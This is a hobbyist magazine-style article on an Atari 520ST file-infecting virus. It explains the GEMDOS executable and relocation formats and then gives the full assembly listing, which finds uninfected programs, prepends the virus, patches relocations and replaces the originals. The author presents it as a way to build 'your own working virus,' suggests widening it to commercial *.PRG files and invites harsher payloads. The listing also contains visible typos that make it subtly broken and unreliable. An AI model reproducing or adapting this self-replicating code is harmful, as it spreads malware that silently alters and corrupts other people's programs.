In Pursuit of Knowledge: An Atari 520ST Virus
by The Paranoid Panda
The accompanying listing shows a virus program which runs on the Atari 520ST under its GEMDOS (also known as TOS) operating system.
It was assembled in "program counter relative mode" (very important) using the AssemPro assembler produced by Data Becker in Germany and sold in the U.S. by Abacus Software.
For more details about operating system calls and disk file formats, see Atari ST Internals (Bruckmann, et al.), and ST Disk Drives Inside and Out (Braun, et al.). Also, try Computer Viruses: A High-Tech Disease by Ralf Burger. These books, like the assembler, come from Data Becker and are available from Abacus Software.
Although a number of books and articles have been written about viruses, few if any give specific listings or sufficient details as to how to write a virus. I wrote this virus as an exercise to learn the specifics of how it is done. It is not a marvel of elegant assembly language programming, and it doesn't do anything catastrophic. It does work, however, and careful study of it will give you all the details you need to produce your own working virus, or understand just how it is that viruses can infect your system.
In its present form, it adds 859 bytes to the executable file it infects. Its length is kept down by extensive use of operating system calls to do all the work. It could no doubt be shortened considerably by optimizing the code, although that might make it less instructive as a teaching aid.
It is important to understand the format of executable files in a given operating system in order to infect them. In GEMDOS, executable files are recognized by the file extensions *.TOS, *.TTP, and * PRG. All have the same general format. TOS files run without using the GEMDOS desktop graphics environment. TTP files are like TOS files, except that they begin with an input window allowing you to enter program parameters before execution begins. Most commercially available software for the Atari ST is in the form of PRG files, which extensively use the GEMDOS desktop graphics environment.
These executable files begin with a 28-byte program header, with the following format:
601A - Branch around the header. XXXXXXXX - A long word (32-bits) which gives the program segment length. YYYYYYYY - A long word giving the data segment length. ZZZZZZZZ - A long word giving the length of the Block Storage Segment (the amount of scratch memory to be allocated by the operating system when the program is loaded). AAAAAAAA - A long word giving the length of the symbol table. BBBBBBBBBBBBBBBBBBBB - Ten more bytes reserved for the operating system.Following the header is the program segment.
The first instruction occupies the word (i.e. 16-bits) beginning at location 1C hex, or 28 decimal. After the program segment comes the data segment, if there is one, where the program may have working data stored. The symbol table, if there is one, follows the data segment, and is added by some compilers and assemblers to aid in debugging. This is generally missing on commercially produced software. At the end of the symbol table is the all important relocation table, which the virus must modify to make the infected program run. Of course, if there is no data segment or symbol table, the relocation table is right behind the program segment.
Relocatable files can be run from any place in the memory. For example, if you write JMP LOCATION (a jump to a program location labeled LOCATION:), the assembler will allocate a 32-bit long word for the absolute address, but will put in a number representing the distance from the beginning of the program to LOCATION. The operating system's relocator will add the actual start address of the program to each of these relative addresses when the program is loaded. It uses the relocation table to find where they are.
The relocation table begins with a 32-bit long word giving the distance from the beginning of the program to the first absolute address to be relocated. Following this long word in the table are one or more bytes which give the increment from the first address to be relocated to the next ones. If the distance between addresses is greater than 254, a series of bytes containing 01 are added, one for each increment of 254 in the distance, until the remaining distance is less than 254.
In other words, if the distance is exactly 254, there will be an FE (hex for 254) in the byte. If the distance is 256 (the number will always be even), there will be a 01 byte followed by a 02 byte. The relocation table is terminated by a 00 byte.
The virus itself consists of two parts: an infection module and a payload module. The infection module searches for an uninfected file to infect and then infects it. The payload module does the "dirty work" of the virus. The infection module uses two operating system functions, SFIRST and SNEXT, to search for candidate files. As currently implemented, only *.TOS files are searched out. Changing the wildcard string at location 10 in the listing to "*.PRG" will allow it to search out the commercially produced stuff. The search is conducted only on the disk and directory where the virus resides. Addition of calls to operating system functions which change directories, and disks, can widen the search.
As each candidate file is found, the infection module looks for the infection marker, which is the two NOP (no operation) instructions at the beginning of the virus. If a file is found to be infected, or in the unlikely case where some program begins with two NOP instructions, the candidate is rejected and the next candidate is searched out. If no files are found to infect, the virus goes on to do its dirty work and exits. Note that the program shown is a launch program, and so terminates when the virus is run. An infected file containing the virus will perform its function, whatever that may be, once the virus' dirty work is done by the payload module.
If a candidate file is found, infection of that file proceeds before the payload module does its dirty work. In simplified form, the infection of the candidate file proceeds in the following steps:
- Open a new file to receive the infected version.
- Read in the candidate file's program header.
- Modify the program header by adding the virus length to the program segment length, then copy it to the beginning of the new file.
- The virus copies itself into the new file.
- The program segment, data segment (if any), and symbol table (if any) of the candidate file are copied to the new file.
- The long word of the candidate file's relocation table is read, the virus length added to it, and it is copied to the new file. It is used to find the first absolute address, to which the virus length is also added.
- The increment bytes following the long word of the relocation table of the candidate file are copied to the new file without modification, and are used to find the remaining absolute addresses which will be relocated by the operating system on loading, and the virus length is added to them.
- The candidate file and the new file are closed. The candidate file is erased and the new file is renamed, giving it the name of the candidate file.
The new file, with the now erased candidate file's name, is infected with the virus. It has the virus at the beginning, and its original code at the end of the virus. When run, it will run the virus, after which it will do what it was originally intended to do. Since the original code is moved down by the length of the virus, the program segment is increased by that amount and the program segment length in the header is increased accordingly.
The virus is assembled in "program counter (PC) relative mode," with all addresses relative to the current value of the program counter, so it does not require relocating. As a result, the virus itself adds nothing to the relocation table of the now infected file. Since each of the absolute addresses referred to in the relocation table have been moved down by an amount equal to the virus length, the location of the first one (that long word in the relocation table) must be increased by the length of the virus. Also, each absolute address word (which, you will remember, only contains an address relative to the program beginning) must have the virus length added to it, since the address to which it refers is now moved down by that amount.
Note also that the virus can infect files assembled in PC relative mode. Such files end without having a relocation table. The virus looks to see if there is a relocation table in the candidate file, and skips all the relocation table and address modifications if no table is found.
After the infection process completes, the payload module runs. In the current implementation, the dirty work is relatively benign. All it does is send a BEL (Control G) character to the terminal. As a result, the difference between an infected and uninfected file is that the infected file "dings" before it runs. Any sort of dirty work can be substituted for this with ease.
You could use operating system calls to make the Atari sound chip play the Nazi anthem, the Communist Internationale, or any other insightful ditty of your imagination. Alternatively, you could insert some interesting graphics. Pictures are nice.
In closing, here is the usual admonition: Don't use this virus to screw up the North American Air Defense Command (now just how many Atari 520STs do you suppose they have anyway), or the New York school system (ditto). I suppose it would be alright to use it on the Iraqi embassy, but I hear they closed it and went home. Also, don't do terrible things to small animals. You get the idea.
; File INFECT2A - This is a prototype launching program for the Mark I virus. TEXT ; 1.0 The Infection Module ; ; 1.1 Search for a target file to infect ; STRATEGY: The first search is with SFIRST. If this ; file is not infected, the search is done. If it is ; infected, search data obtained with SFIRST is preserved ; and used with SNEXT until either the first uninfected ; file is found, or it is determined that no uninfected ; files are left in the search space. ; ; Use GET DTA (GEMDOS function $2F) to get the address of the ; Data Transfer Buffer. Save the address in A2 until no longer ; needed. START: NOP ; These 2 NOP's are the infection marker NOP MOVE.W #$2F,-(SP) ; Function no. of GET DTA. TRAP #1 ; Call GEMDOS. ADDQ.L #2,SP ; Clean up the stack. MOVE.L D0,A2 ; Store DTA address in A2 for later use ; Use SFIRST to look for the first occurence of a *.TOS file. BRA.2 STARTSEARCH ; Branch over name string. NAMESTRING: DC.B "*.TOS",0 ; Wildcard name string. READBUFFER: DS.B 28 TEMPFILENAME: DC.B "TEMP.TOS",0 OLDFILENAME: DS.B 15 STARTSEARCH: MOVE.W #0,-(SP) ; Attribute=0, normal read/write. PEA NAMESTRING ; Address of the wildcard name string. MOVE.W #$4E,-(SP) ; Function number of SFIRST. TRAP #1 ; Call GEMDOS. ADD.L #8,SP ; Clean up the stack. TST.L D0 ; Found a candidate file if D0 is zero. BNE FINISHED ; No candidate files exist. Exit. CHECKINFECT: ; First, open the file. MOVE.W #2,-(SP) ; Opening the file for read and write. MOVE.L A2,A1 ; Base address of DTA to A1 ADD.L #30,A1 ; Add offset of full name string in DTA MOVE.L A1,-(SP) ; Push the address of the name string. MOVE.W #$3D,-(SP) ; Function no, of OPEN. TRAP #1 ; Call GEMDOS. ADD.L #8,SP ; Clean up the stack. TST.L D0 ; D0=Filehandle if OPEN worked, neg. otherwise. BMI KEEPLOOKING ; If error, look for another one. ; Position the file pointer to the infection marker. MOVE.L D0,D1 ; Preserve the file handle in D1 MOVE.W #0,-(SP) ; Mode=0, start from the file beginning. MOVE.W D0,-(SP) ; Push the file handle. MOVE.L #$1C,-(SP) ; Push the offset to beginning of code. ; Look for those two NOPs MOVE.W #$42,-(SP) ; Push function no. of LSEEK. TRAP #1 ; Call GEMDOS. ADD.L #10,SP ; Clean up the stack. ; Read the appropriate bytes, looking for those two NOPs PEA READBUFFER ; Push address of one byte buffer. MOVE.L #4,-(SP) ; No. of bytes to read = 4. MOVE.W D1,-(SP) ; Push file handle. MOVE.W #$3F,-(SP) ; Function no. of READ. TRAP #1 ; Call GEMDOS. ADD.L #12,SP ; Clean up the stack. MOVE.L READBUFFER,D0 ; Put the infection marker site in D0. CMPI.L #$4E714E71,D0 ; Infection marker is two NOPs (4E71) BNE STARTINFECT ; Infection marker not found. infect it. KEEPLOOKING: MOVE.W #$4F,-(SP) ; Function no. of SNEXT. TRAP #1 ; Call GEMDOS. ADDQ.L #2,SP ; Clean up stack. TST.L D0 ; D0=0 if one is found, nonzero if no more. BEQ CHECKINFECT ; Test to see if it is infected. BRA PAYLOAD ; No candidate files. Exit. ; 1.2 Infect the target file if there is one. ; Save the name of the original file in OLDFILENAME. The ; address of the name string in the DTA ts still in A1. STARTINFECT: MOVE.L #13,D0 ; Index counter LEA OLDFILENAME,A3 ; Start address of file name save buffer. SAVELOOP: MOVE.B (A1,D0),(A3,D0) ; Move a character from the DTA to buffer. DBRA D0,SAVELOOP ; Loop until done. ; Create a new file named TEMP (stored in TEMPFILENAME) MOVE.W #0,-(SP) ; Create with Read/write attribute PEA TEMPFILENAME ; Address where the name "TEMP.TOS" stored MOVE.W #$3C,-(SP) ; Function no. of CREATE TRAP #1 ; Call GEMDOS ADD.L #8,SP ; Clean up stack MOVE.W D0,D2 ; Save TEMP.TOS's file handle in D2 ; Move the old file's pointer back to the beginning of the file MOVE.W #0,-(SP) ; Mode=0, start from the file beginning. MOVE.W D1,-(SP) ; Push the file handle. MOVE.L #0,-(SP) ; Offset=0. Start from the beginning of the program header. MOVE.W #$42,-(SP) ; Push function no. of LSEEK. TRAP #1 ; Call GEMDOS. ADD.L #10,SP ; Clean up the stack. ; Read the program header of the file to be infected into buffer PEA READBUFFER ; Push the start address of the buffer MOVE.L #$1C,-(SP) ; No. of bytes to be read MOVE.W D1,-(SP) ; File handle of the old file MOVE.W #$3F,-(SP) ; Function no. of READ TRAP #1 ; Call GEMDOS ADD.L #12,SP ; Clean up stack ; Modify the appropriate header entries. LEA READBUFFER,A2 ; Base address of read buffer MOVE.L 2(A2),D7 ; Get old program length MOVE.L D7,D6 ; Move to D6 for new length computation ADD.L #(FINISHED-START),D6 ; Compute new program length MOVE.L D6,2(A2) ; Load new program length ADD.L 6(A2),D7 ; Add in length of data segment ADD.L $0E(A2),D7 ; Add in length of symbol table SUBQ.L #1,D7 ; Subtract one to get count ; Write the new header PEA READBUFFER ; Push the address of the buffer MOVE.L #$1C,-(SP) ; Write 28 bytes MOVE.W D2,-(SP) ; File handle for new file MOVE.W #$40,-(SP) ; Function no. for WRITE TRAP #1 ; Call GEMDOS ADD.L #12,SP ; Clean up the stack ; NOTE: At this point, the file pointers for both files should be ; pointing to the beginning of the program segment. ; Now, write the virus into the new file PEA START ; Buffer is now the beginning of the virus MOVE.L #(FINISHED-START),-(SP) ; Write no. of bytes in the virus MOVE.W D2,-(SP) ; File handle of the new file MOVE.W #$40,-(SP) ; Function no. for WRITE TRAP #1 ; Call GEMDOS ADD.L #12,SP ; Clean up the stack ; Now, write the program segment, data segment, and symbol table ; from the old file to the new file. TRANSFERLOOP: ; Read a byte from the old file PEA READBUFFER ; Buffer start MOVE.L #1,-(SP) ; Read one byte MOVE.W D1,-(SP) ; File handle of the old file MOVE.W #$3F,-(SP) ; Function no. of READ TRAP #1 ; Call GEMDOS ADD.L #12,SP ; Clean up the stack ; Write the byte into the new file PEA READBUFFER ; Buffer start MOVE.L #1,-(SP) ; Write one byte MOVE.W D2,-(SP) ; File handle of the new file MOVE.W #$40,-(SP) ; Function no. of WRITE TRAP #1 ; Call GEMDOS ADD.L #12,SP ; Clean up the stack DBRA D7,TRANSFERLOOP ; Loop until done ; At this point, the file pointer of the old file is pointing to the ; long word which begins the relocation table. LEA READBUFFER,A2 ; Zero out one word of MOVE.L #0,(A2) ; Read buffer before looking for long word PEA READBUFFER ; Buffer start MOVE.L #4,-(SP) ; Read one long word MOVE.W D1,-(SP) ; File handle of the old file MOVE.W #$3F,-(SP) ; Function no. of READ TRAP #1 ; Call GEMDOS ADD.L #12,SP ; Clean up the stack LEA READBUFFERA1 ; Base address of buffer TST.L (A1) ; If long word is zero, no relocation table BEQ NOTABLE ; so jump around adjustment ADD.L #(FINISHED-START),(A1) ; Adjust the long word by the new program length BSR ENTRY1 ; POINT A. NOTABLE: PEA READBUFFER ; Buffer start MOVE.L #4,-(SP) ; Write one long word MOVE.W D2,-(SP) ; File handle of the new file MOVE.W #$40,-(SP) ; Function no. of WRITE TRAP #1 ; Call GEMDOS ADD.L #12,SP ; Clean up the stack ; First long word in the relocation table has been adjusted. Write ; the rest of the relocation table. FINALLOOP: PEA READBUFFER ; Buffer start MOVE.L #1,-(SP) ; Read one byte MOVE.W D1,-(SP) ; File handle of the old file MOVE.W #$3F,-(SP) ; Function no. of READ TRAP #1 ; Call GEMDOS ADD.L #12,SP ; Clean up the stack PEA READBUFFER ; Buffer start MOVE.L #1,-(SP) ; Write one byte MOVE.W D2,-(SP) ; File handle of the new file MOVE.W #$40,-(SP) ; Function no. of WRITE TRAP #1 ; Call GEMDOS ADD.L #12,SP ; Clean up the stack LEA READBUFFER,A1 ; Adr. of byte just read MOVE.B (A1),D4 ; POINT B BSR ENTRY2 TST.B (A1) ; Finished if this byte zero BNE FINALLOOP ; Stop transferring if zero, otherwise ; keep writing the relocation table BRA ENDLOOP ; Done. Branch around the following subroutine. ; This subroutine accesses the long words of the infected program in ; their new locations as they have been moved down by the virus length ; and adds the virus length to them. ENTRY1: ; Enter here when first long word of relocation table is read ; and modified. MOVE.L (A1),D5 ; A1 points to READBUFFER, which has the offset from $1C to ; the first long word. ADD.L #$1C,D5 ; D5 now has the correct file pointer value MOVE.L #$FF,D4 ; This marks entry from entry point 1. ENTRY2: ; Enter here when offset bytes following the first long word ; in the relocation table are being copied. TST.L D4 ; If D4 contains zero, there is nothing to do. BNE NOTZERO ; Continue if not zero. RTS ; Otherwise, return. NOTZERO: CMPI.L #1,D4 ; If D4 contains 1, need to add an Increment of 245 to D6 and exit. BNE NOTONE ; Branch around if not 1. ADD.L #$FE,D5 ; Add an increment of 254 to running file pointer in D5, then ; return. RTS NOTONE: CMPI.L #$FF,D4 ; If entry came in entry point 1, D4 will contain SFF. BEQ FIRSTTIME ; If contents equal $FF, don't add contents of D4 to D5. ADD.L D4,D6 ; Otherwise, add the incremental byte. FIRSTTIME: ; Preserve the current value of the file pointer in D6. MOVE.W #1,-(SP) ; MODE=1, measure from current position. MOVE.W D2,-(SP) ; File handle of the new file. MOVE.L #0,-(SP) ; No movement of file pointer, just get its current value MOVE.W #$42,-(SP) ; Function number of LSEEK. TRAP #1 ; Call GEMDOS ADD.L #10,SP ; Clean up stack MOVE.L D0,D6 ; Return value in DO is current position of file pointer of ; new file. Save in D6. ; Set up the new file file pointer with the value in D5. MOVE.W #0,-(SP) ; MODE-=0, offset from file beginning. MOVE.W D2,-(SP) ; File handle of the new file. MOVE.L D5,-(SP) ; New file pointer position. MOVE.W #$42,-(SP) ; Function no. of LSEEK. TRAP #1 ; Call GEMDOS ADD.L #10,SP ; Clean up stack ; Get the long word pointed to by the new file pointer. PEA READBUFFER+4 ; Push address to store this long word. MOVE.L #4,-(SP) ; Read 4 bytes. MOVE.W D2,-(SP) ; File handle of the new file. MOVE.W #$3F,-(SP) ; Function no. of READ TRAP #1 ; Call GEMDOS ADD.L #12,SP ; Clean up the stack ; Add the length of the virus to the long word in READBUFFER+4. LEA READBUFFER+4,A2 ADD.L #(FINISHED-START),(A2) ; Move the new file's file pointer back 4 bytes to write the new ; value of the long word. MOVE.W #1,-(SP) ; MODE=1, offset relative to current pos. MOVE.W D2,-(SP) ; File handle of the new file. MOVE.L #-4,(SP) ; Move pointer 4 bytes back. MOVE.W #$42,-(SP) ; Function no. of LSEEK. TRAP #1 ; Call GEMDOS ADD.L #10,SP ; Clean up the stack. ; Write the modified long word in READBUFFER+4 to the file. PEA READBUFFER+4 ; Start of the long word. MOVE.L #4,-(SP) ; Write 4 bytes. MOVE.W D2,-(SP) ; File handle of the new file. MOVE.W #$40,-(SP) ; Function no. of WRITE. TRAP #1 ; Call GEMDOS ADD.L #12,SP ; Clean up the stack. ; Restore the original value of the file pointer, saved in D6. MOVE.W #0,-(SP) ; MODE=0, offset from file beginning MOVE.W D2,-(SP) ; File handle of the new file. MOVE.L D6,-(SP) ; Preserved value of the file pointer. MOVE.W #$42,-(SP) ; Function no. of LSEEK TRAP #1 ; Call GEMDOS ADD.L #10,SP ; Clean up the stack. RTS ; Finished, return. ; All transfers finished. Close and delete the old file. Close ; and rename the new file. ENDLOOP: MOVE.W D1,-(SP) ; File handle for old file MOVE.W #$3E,-(SP) ; Function number for CLOSE TRAP #1 ; Call GEMDOS ADDQ.L #4,SP ; Clean up stack PEA OLDFILENAME ; Push string giving name of uninfected version of the file. MOVE.W #$41,-(SP) ; Function no. of UNLINK TRAP #1 ; Call GEMDOS to erase old file ADD.L #6,SP ; Clean up the stack. MOVE.W D2,-(SP) ; File handle for new file MOVE.W #$3E,-(SP) ; Function number for CLOSE TRAP #1 ; Call GEMDOS ADDQ.L #4,SP ; Clean up stack PEA OLDFILENAME ; New name for infected file, i.e. original name of target file. PEA TEMPALENAME ; Push string containing "TEMP.TOS" MOVE.W #0,-(SP) ; Dummy parameter MOVE.W #$56,-(SP) ; Function no. of RENAME TRAP #1 ; Call GEMDOS to rename infected file to name of original target. ADD.L #12,SP ; Clean up the stack. ; 2.0 The Payload Module ; This payload send a BEL (control G) to the console output. Its ; only purpose is to indicate whether a program is infected. PAYLOAD: MOVE.W #7,-(SP) ; Character is BEL (control G) MOVE.W #2,-(SP) ; Device is console MOVE.W #3,-(SP) ; Function no. for BCONOUT TRAP #13 ; Call BIOS ADDQ.L #6,SP ; Clean up stack ; 3.0 Termination ; The following GEMDOS call terminates the program and ; returns to the operating system. FINISHED: CLR.W -(SP) TRAP #1 ENDCode: INFECT2A.ASM